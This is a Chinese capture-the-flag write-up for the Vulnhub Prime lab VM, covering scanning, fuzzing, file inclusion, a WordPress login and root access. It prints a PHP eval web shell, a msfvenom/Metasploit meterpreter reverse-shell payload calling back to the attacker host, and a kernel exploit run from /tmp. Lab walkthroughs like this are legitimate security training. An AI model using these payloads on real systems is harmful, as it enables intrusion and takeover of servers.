目录
一、Vulnhub靶场介绍
vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。
Prime是vulnhub靶场环境的一个简单的利用靶场,Prime系列共有六个靶场,本次使用的是19年出的第一个靶场环境。
1.靶机地址
百度网盘day1
链接:https://pan.baidu.com/s/1mBpujahcjakSL90ho8mRHQ
提取码:gev5
2.搭建环境
首先我们打开Prime(Ubuntu)的靶机
网卡设置成NAT(192.168.184.xxx)
二、渗透阶段
1.信息收集
1.1主机发现
nmap扫描IP
Kali(192.168.184.135)
所以192.168.184.160为Ubuntu的IP
1.2 端口扫描
nmap -p 1-65535 -A 192.168.184.160
发现22(ssh远程服务) 80(http web服务)端口开放
还有一些系统版本信息等等·
web访问192.168.184.160
1.3目录扫描
扫描的工具很多,比如 BP+字典 御剑 dirb(kali)等等,但目录的字典需要强大。
less /usr/share/wfuzz/wordlist/general/common.txt #查看dirb中的字典
总体扫描目录
dirb http://192.168.184.160/ #扫描目录
下面全是一些子目录
2.漏洞利用
2.1访问目录
结合HTTP状态码和扫描到的目录,开始访问吧.
index.php 一张kali logo的图片
访问/dev试试看
好家伙,不开翻译不知道,被嘲讽了一波。
访问/wordpress 发现是一个博客网站。
登录界面
也就/wordpress有点东西。。。
我们提升一下扫描方式,加后缀名字。
dirb http://192.168.184.146 -X .php,.txt,.zip ......
+ http://192.168.184.146/image.php (CODE:200|SIZE:147) +http://192.168.184.146/index.php (CODE:200|SIZE:136) no index.php是图片。 + http://192.168.184.146/secret.txt (CODE:200|SIZE:412)
这两个应该可以利用 /image.php /secret.txt
访问/image.php,竟然和index.php一样,神奇。。。
访问/secret.txt
结果让我们学习OSCP(不得不说,Kali在自己的靶场植入自己的广告,实属666)
得到工具地址 https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web
查看location.txt 你将获得下一步 //see the location.txt and you will get your next move//
2.2FUZZ 模糊测试
1.找参数
2.扫目录
3.密码爆破
4.压力测试
5.被过滤的一些参数
......
https://github.com/hacknpentest/Fuzzing/blob/master/Fuzz_For_Web 给我们的例子 COMMNAD =wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 http://website.com/secret.php?FUZZ=something
Wfuzz是一款为了评估WEB应用而生的Fuzz(Fuzz是爆破的一种手段)工具,它基于一个简单的理念,即用给定的Payload去fuzz。 它允许在HTTP请求里注入任何输入的值,针对不同的WEB应用组件进行多种复杂的爆破攻击。
构造一下Payload
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt http://192.168.184.160/index.php?FUZZ
参数太多,用wfuzz -h 查看帮助。
hl/hw/hh分别是过滤lines word chars的
构造反向查找Payload
wfuzz -w /usr/share/wfuzz/wordlist/general/common.txt --hw 12 http://192.168.184.160/index.php?FUZZ
得到http://192.168.184.160/index.php?file=filename(可能是文件包含 下载漏洞)
猜测文件名为 /etc/passwd
好家伙,无限嘲讽是吧。。。
正当我想使用wfuzz http://192.168.184.160/index.php?file=FUZZ 时
突然想起来刚刚访问的网站的提示//see the location.txt and you will get your next move//
访问试试http://192.168.184.160/index.php?file=location.txt
功夫不负有心人,提示让在另一个php中使用secrettier360参数,那就是这个咯image.php
http://192.168.184.160/image.php?secrettier360=/etc/passwd
吼 linux文件内容
找了一圈,找到了victor,find password.txt
构造Payload
http://192.168.184.160/image.php? secrettier360=/home/saket/password.txt
密码:follow_the_ippsec
2.3登录wordpress
我们回到梦开始得地方wordpress
作者用户 victor
参数author=2 没有其他用户
大胆猜一下 用户victor 密码follow_the_ippsec
还真进去了
wordpress 5.2.2
在主题编辑器里面找到了一个可写入的代码php
我们现在已经找到了上传点 可以上传一句话木马 <?php @eval($_POST['cc123']) ?>
但是不稳定 不持久(网络环境变化 杀毒软件等等)
2.4MSF反弹shell
让受害者的服务器主动连我们 反弹连接shell
msf 开启监听端口7777
msfconsole
use exploit/multi/handler #使用监听模块
set payload php/meterpreter/reverse_tcp #建立tcp连接
set lhost 192.168.184.135 #设置ip
set lport 7777 #设置端口
show options #查看需要配置的内容
run #运行
MSF生成木马文件
msfvenom -p php/meterpreter/reverse_tcp lhost=kali IP lport=开放端口 -o shell.php(木马文件)
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.184.135 lport=7777 -o shell.php
复制到secret.php中
现在的问题是secret.php文件位置在哪???
最简单的方法就是自己搭建一个wordpress
Wordpress 目录 wordpress/wp-content/themes/twentynineteen
构造Payload http://192.168.184.160/wordpress/wp-content/themes/twentynineteen/secret.php
浏览器访问Payload 访问链接 直接反弹连接
攻击成功!!!
getuid sysinfo
3.权限提升
获得普通用户权限 -----root
-sudo -脏牛提权(linux内核漏洞) -SUID
去漏洞数据库搜索Ubuntu相关漏洞
MSF也集成了此功能
searchsploit 16.04 Ubuntu #搜索历史漏洞
上传tmp目录(因为任何一个linux系统中tmp目录都是可读可写的)
发现版本报错glibc的版本不对(glibc是linux系统中最底层的api,几乎其它任何运行库都会依赖于glibc)
两个方法,要么kali下载对应版本(主要是我kali刚刚更新) ,要么升级Ubuntu的glibc版本(本来就是渗透进去的)
我选择第三种方法,找一个以前版本的kali 2021,就可以解决了。
upload /root/45010 /tmp/45010 #上传木马
shell #进入cmd
cd /tmp #进入tmp目录
chmod +x 45010 #增加执行权限
./45010 #运行45010
whoami #查看用户
查看了key.txt root.txt 尝试md5解密不出来,我们直接改密码。
passwd victor #更改密码
reboot重启 拿下!!!
三、总结:
1.信息收集:nmap 主机发现ip,扫描其开放端口,dirb扫描目录。
2.漏洞利用:访问目录网站,寻找方法,通过fuzz模糊测试找到密码,登录到wordperss,查看其版本及漏洞,写入一句话木马,加以MSF利用反弹shell。
3.权限提升:MSF搜索系统历史漏洞,利用漏洞,开始提权,上传木马,给予运行权限,获得管理员权限。